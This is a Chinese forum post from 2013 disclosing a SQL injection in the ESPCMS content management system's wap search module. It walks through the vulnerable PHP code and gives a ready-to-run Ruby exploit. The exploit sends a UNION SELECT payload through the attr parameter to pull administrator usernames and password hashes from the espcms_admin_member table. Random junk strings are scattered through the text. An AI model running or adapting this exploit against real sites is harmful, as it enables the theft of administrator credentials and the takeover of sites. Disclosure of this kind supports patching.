找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2124|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
# c$ |/ s  }4 }2 ]+ [0×2 PoC
( n* J' b) H8 S, U9 e9 g5 _+ y3 w- p  W# [2 {# j' q, ^  B
1 x% f+ e, F* `2 l* u: L( q

5 G8 B& l& H( r6 `0 g) M* y$ o0×0 漏洞概述
. J( z/ k2 Q! G; q: m' n; T7 G: W8 [' }+ g1 l
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
+ ^8 p$ n$ L' _8 D& s其在处理传入的参数时考虑不严谨导致SQL注入发生: v2 E' l' x$ Y2 M. J/ g, ~' ?8 p/ l

: F9 c6 C' A4 Q' A+ Z. W; }7 E# j+ d! o8 M2 S& _" d3 R
0×1 漏洞细节
" x7 J  F- w- b% S% Q) M. ]* R, [& F: b  g; f
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。8 \4 s9 r) Y1 z9 G+ |/ V5 G3 v
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。$ Y- V' u1 Q+ U  `2 l7 |$ B
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
4 C9 k& D: b7 {1 w: H) b- R; {; b! k% L+ y( w* T3 Y! U
在/interface/3gwap_search.php文件的in_result函数中:: a$ r1 `# j, u- K# u

0 I0 A0 a. T+ O) @( v& A! I
/ ?0 w7 a. x( h8 |% L+ ]8 ]/ o; `
: X9 w$ `- @  h- }- H       function in_result() {
( j- q9 p1 H$ ]; @8 U  W9 h9 A            ... ... ... ... ... ... ... ... ...) B' X6 l8 U9 {) I* e
            $urlcode = $_SERVER[ 'QUERY_STRING '];
2 a* o; P5 Y# Y/ v7 A: l7 {            parse_str(html_entity_decode($urlcode), $output);
3 |5 \. j& F+ h8 k8 j% d3 \5 ^. g  S8 }. \+ w, m
            ... ... ... ... ... ... ... ... ...
1 g3 l3 s: f7 S( x            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
, c) f3 D" ~1 Z9 h) n) E) j! U; y+ V
                  $db_table = db_prefix . 'model_att';( }- f( e; N( R* E
* n8 ?7 o; S# Y4 y0 S0 S  w
                   foreach ($output['attr' ] as $key => $value) {4 ]$ E* O4 D; ?7 J; P4 R" a: Q
                         if ($value) {
- Z( i- R! J3 l7 t1 S9 c
, M$ r1 ?+ `- n/ ]0 J' A& s9 `1 m, R( u                              $key = addslashes($key);
# x9 P% c2 V9 M                              $key = $this-> fun->inputcodetrim($key);1 z& l) b- A- _$ t$ p1 v
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";  F( [' k4 \5 V& ]" _# t' b
                              $countnum = $this->db_numrows($db_table, $db_att_where);
- _0 q5 ?. y# {' B  E0 G8 H                               if ($countnum > 0) {
* y5 u% `6 w( `8 j" r+ b2 v: I                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;3 j5 F5 t7 z4 p# f  `- `& N) V
                              }1 \2 V3 E  p2 O1 p7 d8 h
                        }5 J  H+ }4 ?$ G& J5 a# ]3 z6 V
                  }, |( D7 H* m, z% ]# P+ O7 N( B. `
            }
7 i, P  c9 f' c7 B* {" G* R6 w            if (!empty ($keyword) && empty($keyname)) {
3 @: g- R# X% X                  $keyname = 'title';
( n, C1 p8 @# _; G& }) F                  $db_where.= " AND a.title like '%$keyword%'" ;
' n: @: Y" g2 _! u+ [            } elseif (!empty ($keyword) && !empty($keyname)) {: f( S# h$ H8 U* x6 S7 \2 D
                  $db_where.= " AND $keyname like '% $keyword%'";" t  ~1 |. b( p1 m' @. A/ L
            }  y1 {7 K& a6 s4 y
            $pagemax = 15;
) [8 q0 C: ]& J4 w# B
2 T$ R0 ?' c: k5 O( B            $pagesylte = 1;" M" O' |$ r2 T$ {
2 f8 h% u9 i* O- g* Q/ Y- }) g7 _
             if ($countnum > 0) {
2 l  \! R. D8 `" r9 w
% b' u. i( U- B% d$ d' C% s                  $numpage = ceil($countnum / $pagemax);! {8 ?3 @5 c6 M2 q, j$ ?( b
            } else {4 a' L4 G/ x1 |; M) R' ?/ U
                  $numpage = 1;# w/ M9 M5 `7 O$ t* j3 F0 X# V5 x
            }
: F8 `* Y0 d  A            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
, B. R8 J! g4 |! r( W) T            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);. m, v! B1 n" Q$ c4 s
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
, I7 H. k! {) d            ... ... ... ... ... ... ... ... ...
0 H% \6 w# ]+ A& D& A      }
, N( C# {! u6 B; `: n: P% r3 M
" v# o* i$ \4 C# Y
. n& t' s  E3 p4 P  _) S0×2 PoC
, g: _% o: C' k
' p" F. R1 g5 D% H& d+ l; y( o" X' b
6 A3 p, g9 b( x, x1 T
require "net/http", C' J3 C3 a3 W3 e) N7 N% v

, Y) q: n, ?8 w# K8 q% Jdef request(method, url)
4 Y* S% n5 ?. u! o0 O    if method.eql?("get")
: R! q$ |, u+ V        uri = URI.parse(url); t7 |/ L9 k9 H) m5 J# b7 H6 j
        http = Net::HTTP.new(uri.host, uri.port)7 Y* K) X5 P( R" T3 H$ ]' ?
        response = http.request(Net::HTTP::Get.new(uri.request_uri))6 L  f# i8 i8 B0 g  p
        return response6 q$ v6 X$ E* p; \" u( Z# c
    end
: `3 `5 _- @3 a( I, T/ Tend. j: V  ^- q. r: K5 P1 ]

  G* b# a3 X0 _+ n# ^1 W) L1 hdoc =<<HERE( }: t6 w% s; [  |6 Z; P. G
-------------------------------------------------------" v& ~! [' _# n4 L9 @
Espcms Injection Exploit: Q6 {# S& b2 n
Author:ztz
! U" C4 d5 e* C6 d: s- MBlog:http://ztz.fuzzexp.org/
3 N- z9 C6 ?, U" I-------------------------------------------------------
! h( @- N  h3 H6 m( k7 F' d- g5 I* [1 V; ^0 R/ l9 a4 i' T
HERE
6 G! i  v1 e$ y/ D, I) ~& d# N2 ]1 ^5 w
2 ~# R+ R! G* {, Z) B3 C  H) Musage =<<HERE
, d) o1 G; N4 |( CUsage:         ruby #{$0} host port path
+ Y  @& q8 M% M5 U" g) k2 Qexample:     ruby #{$0} www.target.com 80 /
7 i0 o+ K$ m* ]% k+ UHERE) X" s* Z( Q2 t$ B5 g' A( k

. _( G9 m# K! S) ~4 _+ @puts doc  f2 ~2 G- y. ?8 P; q1 a
if ARGV.length < 3
9 ?- N1 m# _4 \; k  j    puts usage! t1 C( ?2 I6 T, a
else+ e5 X2 y' K3 ~8 P( F: }6 d3 y
    $host = ARGV[0]
  t$ `1 y# d  @: H    $port = ARGV[1]3 L- R' {" o1 w
    $path = ARGV[2]
, J8 E# w+ R3 k2 ~7 i; @% P7 [. [$ x! [' g5 p
    puts "
  • send request..."' ?$ q+ A9 c5 `3 C- X: Q% @4 x! S
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&" I2 f: E, p* i
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    3 y& m$ D2 F: E2 \4 H2 X,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27( n/ b/ e! v: ~
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    ( H, c2 @. b- g2 h5 w! x: p2 w    response = request("get", url)
    * o0 ^, v$ s: c' O. F    result = response.body.scan(/\w+&\w{32}/)
    ; P1 T8 M$ t: S8 r/ z- K' U    puts result- i' R# y0 r6 {
    end+ K  W- F' s, }! f) Q& @* a

    0 Z  a4 D5 K: X1 q/ h0 Q
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表